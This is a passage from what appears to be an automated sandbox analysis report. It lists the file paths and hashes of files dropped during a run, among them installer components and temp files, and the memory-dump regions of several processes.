                                                                                                                                                                                                                                                      0b980f397972bfc55e30c06e6e98e07b474e963832b76cdb48717e6772d0348f99c79d91ea0b4944fe0181ad5d6701d9527e2ee62c14123f1f232c1da977cada

                                                                                                                                                                                                                                                    • C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\13C4F398AEEF2B370776B45F5DB2E95CCE7C094E

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      1KB

                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                      8e700c831a96ff729fd8fc3f609c7693

                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                      baed43d983604766b06a4896e14ccda703826783

                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                      b7c78710824c72d0a2c479c8e1c0490ced970647991f40a0fde2529b8958a51e

                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                      c682ca7b96ca42e65bf18224e84db036a8a25353967b9fd934f928b4ef26817e206b4f0c180da0dfb79899fd2cdffe9be45cc1e3c3caa8090ec629b12d005486

                                                                                                                                                                                                                                                    • C:\Windows\Temp\UDD27D4.tmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      48KB

                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                      16098bfa3cc9dcb626d6ef93e682d524

                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                      8e49f6c59a2194a578547f2c395ce5f6c2e88ab0

                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                      7ef7c1e13a674b8b12177302947bf9682939806877fbbe9c135bc5e99f2e0f0f

                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                      ec90f56742f7c0154afe67faeff2606e53bbb605a333ee9dbe93ffbe8cd39da8e6922eadd2896df48db91a39cd8628425b3353efa7a8c95c10c606eb1ea3a6c3

                                                                                                                                                                                                                                                    • C:\Windows\Temp\{70883114-65DC-4AAB-8FD5-6201EA639DA1}\.ba\wixstdba.dll

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      191KB

                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                      eab9caf4277829abdf6223ec1efa0edd

                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                      74862ecf349a9bedd32699f2a7a4e00b4727543d

                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                      a4efbdb2ce55788ffe92a244cb775efd475526ef5b61ad78de2bcdfaddac7041

                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                      45b15ade68e0a90ea7300aeb6dca9bc9e347a63dba5ce72a635957564d1bdf0b1584a5e34191916498850fc7b3b7ecfbcbfcb246b39dbf59d47f66bc825c6fd2

                                                                                                                                                                                                                                                    • C:\Windows\Temp\{EFD9F19E-3118-4812-952D-3DDA554BA588}\.ba\logo.png

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      1KB

                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                      d6bd210f227442b3362493d046cea233

                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                      ff286ac8370fc655aea0ef35e9cf0bfcb6d698de

                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                      335a256d4779ec5dcf283d007fb56fd8211bbcaf47dcd70fe60ded6a112744ef

                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                      464aaab9e08de610ad34b97d4076e92dc04c2cdc6669f60bfc50f0f9ce5d71c31b8943bd84cee1a04fb9ab5bbed3442bd41d9cb21a0dd170ea97c463e1ce2b5b

                                                                                                                                                                                                                                                    • C:\Windows\Temp\{EFD9F19E-3118-4812-952D-3DDA554BA588}\.be\VC_redist.x64.exe

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      635KB

                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                      35e545dac78234e4040a99cbb53000ac

                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                      ae674cc167601bd94e12d7ae190156e2c8913dc5

                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                      9a6c005e1a71e11617f87ede695af32baac8a2056f11031941df18b23c4eeba6

                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                      bd984c20f59674d1c54ca19785f54f937f89661014573c5966e5f196f776ae38f1fc9a7f3b68c5bc9bf0784adc5c381f8083f2aecdef620965aeda9ecba504f3

                                                                                                                                                                                                                                                    • C:\Windows\rescache\_merged\1910676589\260453855.pri

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      6KB

                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                      58e92d51631f0c0fcaa99356878a7737

                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                      107bd47d634e062c90ef4ecf7f6c93cba9919da3

                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                      eb5e6e1d8a29cf99d4bd6808776e0b84e7104a521812a38cb927b174b0bb6ad5

                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                      1c58f843faa3532b8cb24d5db928a01c180e4e1e63b02f7509e185d0e53238dbaaac63cbdd6f769375afce3ac0b9d646b4709b036fce3320ca04701604eda71f

                                                                                                                                                                                                                                                    • memory/1160-520-0x00000267A2960000-0x00000267A298A000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      168KB

                                                                                                                                                                                                                                                    • memory/1424-2087-0x00000000079F0000-0x0000000007A93000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      652KB

                                                                                                                                                                                                                                                    • memory/1424-2088-0x0000000007C70000-0x0000000007C81000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      68KB

                                                                                                                                                                                                                                                    • memory/1424-2077-0x000000006E060000-0x000000006E0AC000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      304KB

                                                                                                                                                                                                                                                    • memory/1424-2121-0x0000000007CB0000-0x0000000007CC4000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      80KB

                                                                                                                                                                                                                                                    • memory/1552-492-0x0000000140000000-0x000000014000E000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      56KB

                                                                                                                                                                                                                                                    • memory/1552-489-0x0000000140000000-0x000000014000E000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      56KB

                                                                                                                                                                                                                                                    • memory/1552-493-0x0000000140000000-0x000000014000E000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      56KB

                                                                                                                                                                                                                                                    • memory/1552-499-0x0000000140000000-0x000000014000E000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      56KB

                                                                                                                                                                                                                                                    • memory/1552-490-0x0000000140000000-0x000000014000E000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      56KB

                                                                                                                                                                                                                                                    • memory/1552-491-0x0000000140000000-0x000000014000E000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      56KB

                                                                                                                                                                                                                                                    • memory/1592-479-0x0000021E37000000-0x0000021E37006000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      24KB

                                                                                                                                                                                                                                                    • memory/1592-480-0x0000021E37010000-0x0000021E3701A000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      40KB

                                                                                                                                                                                                                                                    • memory/1592-476-0x0000021E36040000-0x0000021E3604A000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      40KB

                                                                                                                                                                                                                                                    • memory/1592-475-0x0000021E36060000-0x0000021E3607C000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      112KB

                                                                                                                                                                                                                                                    • memory/1592-473-0x0000021E36010000-0x0000021E3601A000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      40KB

                                                                                                                                                                                                                                                    • memory/1592-472-0x0000021E36E00000-0x0000021E36EB5000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      724KB

                                                                                                                                                                                                                                                    • memory/1592-471-0x0000021E36020000-0x0000021E3603C000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      112KB

                                                                                                                                                                                                                                                    • memory/1592-477-0x0000021E37020000-0x0000021E3703A000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      104KB

                                                                                                                                                                                                                                                    • memory/1592-478-0x0000021E36050000-0x0000021E36058000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      32KB

                                                                                                                                                                                                                                                    • memory/2272-440-0x0000000140000000-0x000000014002B000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      172KB

                                                                                                                                                                                                                                                    • memory/2272-438-0x0000000140000000-0x000000014002B000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      172KB

                                                                                                                                                                                                                                                    • memory/2272-442-0x0000000140000000-0x000000014002B000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      172KB

                                                                                                                                                                                                                                                    • memory/2272-437-0x0000000140000000-0x000000014002B000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      172KB

                                                                                                                                                                                                                                                    • memory/2272-439-0x0000000140000000-0x000000014002B000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      172KB

                                                                                                                                                                                                                                                    • memory/2332-417-0x00000000029B0000-0x00000000029B1000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                    • memory/2332-394-0x00000000029B0000-0x00000000029B1000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                    • memory/2332-373-0x00000000029B0000-0x00000000029B1000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                    • memory/2332-474-0x00000000029B0000-0x00000000029B1000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                    • memory/2332-367-0x00000000029B0000-0x00000000029B1000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                    • memory/2332-311-0x00000000029B0000-0x00000000029B1000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                    • memory/2628-1491-0x0000000008360000-0x000000000836E000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      56KB

                                                                                                                                                                                                                                                    • memory/2628-1384-0x0000000006610000-0x0000000006676000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      408KB

                                                                                                                                                                                                                                                    • memory/2628-1453-0x000000006E060000-0x000000006E0AC000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      304KB

                                                                                                                                                                                                                                                    • memory/2628-1452-0x0000000007E30000-0x0000000007E62000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      200KB

                                                                                                                                                                                                                                                    • memory/2628-1463-0x0000000007E10000-0x0000000007E2E000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      120KB

                                                                                                                                                                                                                                                    • memory/2628-1465-0x0000000007E80000-0x0000000007F23000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      652KB

                                                                                                                                                                                                                                                    • memory/2628-1469-0x00000000081A0000-0x00000000081AA000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      40KB

                                                                                                                                                                                                                                                    • memory/2628-1476-0x00000000083C0000-0x0000000008456000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      600KB

                                                                                                                                                                                                                                                    • memory/2628-1480-0x0000000008320000-0x0000000008331000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      68KB

                                                                                                                                                                                                                                                    • memory/2628-1343-0x0000000002DB0000-0x0000000002DE6000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      216KB

                                                                                                                                                                                                                                                    • memory/2628-1495-0x0000000008370000-0x0000000008384000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      80KB

                                                                                                                                                                                                                                                    • memory/2628-1497-0x0000000008460000-0x000000000847A000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      104KB

                                                                                                                                                                                                                                                    • memory/2628-1499-0x00000000083A0000-0x00000000083A8000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      32KB

                                                                                                                                                                                                                                                    • memory/2628-1347-0x0000000005580000-0x0000000005BA8000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      6.2MB

                                                                                                                                                                                                                                                    • memory/2628-1383-0x00000000054A0000-0x00000000054C2000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      136KB

                                                                                                                                                                                                                                                    • memory/2628-1442-0x00000000085E0000-0x0000000008C5A000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      6.5MB

                                                                                                                                                                                                                                                    • memory/2628-1419-0x0000000006E10000-0x0000000006E5C000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      304KB

                                                                                                                                                                                                                                                    • memory/2628-1418-0x0000000006DC0000-0x0000000006DDE000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      120KB

                                                                                                                                                                                                                                                    • memory/2628-1387-0x00000000067F0000-0x0000000006B44000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      3.3MB

                                                                                                                                                                                                                                                    • memory/2628-1443-0x0000000007300000-0x000000000731A000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      104KB

                                                                                                                                                                                                                                                    • memory/2628-1385-0x0000000006680000-0x00000000066E6000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      408KB

                                                                                                                                                                                                                                                    • memory/3128-3183-0x0000000009360000-0x0000000009904000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      5.6MB

                                                                                                                                                                                                                                                    • memory/3128-3182-0x00000000070F0000-0x0000000007112000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      136KB

                                                                                                                                                                                                                                                    • memory/3636-504-0x0000000140000000-0x0000000140835000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      8.2MB

                                                                                                                                                                                                                                                    • memory/3636-501-0x0000000140000000-0x0000000140835000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      8.2MB

                                                                                                                                                                                                                                                    • memory/3636-503-0x0000000140000000-0x0000000140835000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      8.2MB

                                                                                                                                                                                                                                                    • memory/3636-505-0x000001E51E2D0000-0x000001E51E2F0000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      128KB

                                                                                                                                                                                                                                                    • memory/3636-500-0x0000000140000000-0x0000000140835000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      8.2MB

                                                                                                                                                                                                                                                    • memory/3636-497-0x0000000140000000-0x0000000140835000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      8.2MB

                                                                                                                                                                                                                                                    • memory/3636-502-0x0000000140000000-0x0000000140835000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      8.2MB

                                                                                                                                                                                                                                                    • memory/3636-506-0x0000000140000000-0x0000000140835000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      8.2MB

                                                                                                                                                                                                                                                    • memory/3636-498-0x0000000140000000-0x0000000140835000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      8.2MB

                                                                                                                                                                                                                                                    • memory/4420-424-0x000002652D9E0000-0x000002652DA02000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      136KB

                                                                                                                                                                                                                                                    • memory/4744-3503-0x0000000002AF0000-0x0000000002B12000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      136KB

                                                                                                                                                                                                                                                    • memory/4744-1923-0x0000000000010000-0x0000000000304000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      3.0MB

                                                                                                                                                                                                                                                    • memory/4744-1925-0x0000000004D60000-0x0000000004DFC000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      624KB

                                                                                                                                                                                                                                                    • memory/4744-3499-0x00000000050D0000-0x0000000005260000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      1.6MB

                                                                                                                                                                                                                                                    • memory/4768-421-0x0000000000400000-0x000000000072E000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      3.2MB

                                                                                                                                                                                                                                                    • memory/5080-418-0x0000000000400000-0x00000000004F2000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      968KB

                                                                                                                                                                                                                                                    • memory/5080-57-0x0000000000400000-0x00000000004F2000-memory.dmp

                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                      968KB